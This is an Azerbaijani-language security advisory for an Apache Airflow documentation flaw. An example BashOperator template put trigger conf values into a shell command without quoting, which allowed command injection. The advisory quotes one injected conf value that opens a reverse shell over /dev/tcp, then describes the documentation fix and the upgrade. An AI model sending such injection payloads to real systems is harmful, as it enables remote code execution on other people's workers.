CVE-2026-42252

Apache Airflow-nun `core-concepts/dag-run.html` ünvanındakı rəsmi sənədləri ("Passing Parameters when triggering Dags"), hər hansı dırnaq işarələri və ya təmizləmə (sanitization) xəbərdarlığı olmadan birbaşa `BashOperator(bash_command="echo value: {{ dag_run.conf['conf1'] }}")` nümunəsini göstərirdi. Bu şablonu olduğu kimi kopyalayıb istifadə edən və təsirə məruz qalan Dag üzərində istifadəçilərin `Dag.can_trigger` icazəsinə malik olduğu mühitlərdə (tipik çoxkomandalı yerləşdirmələr, trigger API-ni təqdim edən hostinq xidmətləri), trigger API-nin `conf` sahəsi vasitəsilə shell-metasimvol inyeksiyası riski yarana bilərdi: autentifikasiya olunmuş trigger istifadəçisi `conf` dəyəri olaraq `"; bash -i >& /dev/tcp/.../9999 0>&1; #"` göndərə və worker-də `os.exec` icrasına nail ola bilərdi. Bu CVE, `apache/airflow` PR 64129-dakı sənədlərin düzəlişini əhatə edir — sənədlərdəki nümunə şablonuna artıq açıq şəkildə shell-quoting və təhlükəsizlik xəbərdarlığı əlavə edilib. Bu, kodu düzəlişdən əvvəlki sənəd nümunəsinə əsasən qurmuş yerləşdirmələrə təsir edir. Eyni sinifdə olan əvvəlki CVE-2025-50213 və CVE-2025-27018 sənəd-şablon düzəlişləri ilə oxşardır. İstifadəçilərə relizlə birlikdə təqdim edilən düzəldilmiş sənədləri əldə etmək üçün `apache-airflow` versiyasının 3.2.2 və ya daha yeni versiyasına yeniləmələri tövsiyə olunur.